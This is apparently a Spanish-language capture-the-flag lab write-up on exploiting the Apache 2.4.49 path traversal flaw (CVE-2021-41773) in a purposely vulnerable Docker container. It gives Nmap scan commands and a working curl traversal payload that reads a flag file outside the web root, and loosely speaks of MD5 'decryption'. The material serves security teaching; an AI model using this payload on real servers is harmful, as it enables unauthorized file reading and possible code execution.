
Laboratorio práctico para explotar el path traversal de Apache 2.4.49 (CVE-2021-41773) usando Docker, escaneo con Nmap y curl para recuperar una flag.
Se encontró una falla en un cambio realizado en la normalización de rutas en Apache HTTP Server 2.4.49. Un atacante podría usar un ataque de path traversal para mapear URLs a archivos fuera de los directorios configurados mediante directivas similares a Alias. Si los archivos fuera de estos directorios no están protegidos por la configuración predeterminada habitual "require all denied", estas solicitudes pueden tener éxito. Si los scripts CGI también están habilitados para estas rutas con alias, esto podría permitir la ejecución remota de código. Este problema solo afecta a Apache 2.4.49 y no a versiones anteriores.
Créditos intro a: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
El objetivo del ejercicio es explotar la vulnerabilidad presente en Apache 2.4.49. Para poder explotarla es necesario usar un "path traversal attack" para mapear los archivos fuera de las carpetas preconfiguradas y crear una especie de shell remota.
Para el ejercicio es conveniente usar un docker vulnerable ad hoc disponible en docker hub:
Enlace: https://hub.docker.com/r/m96dg/pw_apache_2_4_49
$docker pull m96dg/pw_apache_2_4_49

Para poder ver las imágenes de los docker descargados:
$docker images
Ejecutar el docker en el puerto 8080:
$docker run -dit -p 8080:80 m96dg/pw_apache_2_4_49
Para poder verificar que efectivamente está en ejecución:
$docker ps

Como se puede ver, el servidor web funciona perfectamente:

Fase de escaneo (intentamos recopilar la mayor cantidad de información posible del host):
$nmap -sS -p- -T4 -Pn -oA portScan localhost

Fase de enumeración (intentamos profundizar la información enumerando los puertos encontrados en la fase de escaneo):
$nmap -sV -sC -oA versionScan localhost

Para poder realizar el ataque, es necesario lanzar este comando e intentar encontrar la flag (en caso de que esté insertada en root):
$curl http://[IP]:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/flag.txt

Para tener certeza de que el ejercicio haya ido bien y que la flag sea efectivamente la encontrada, comparar la cadena con su decriptación en Md5 ("HaiTrovatoLaFlag_Apache"). Si las dos cadenas coinciden, ¡entonces el juego está hecho!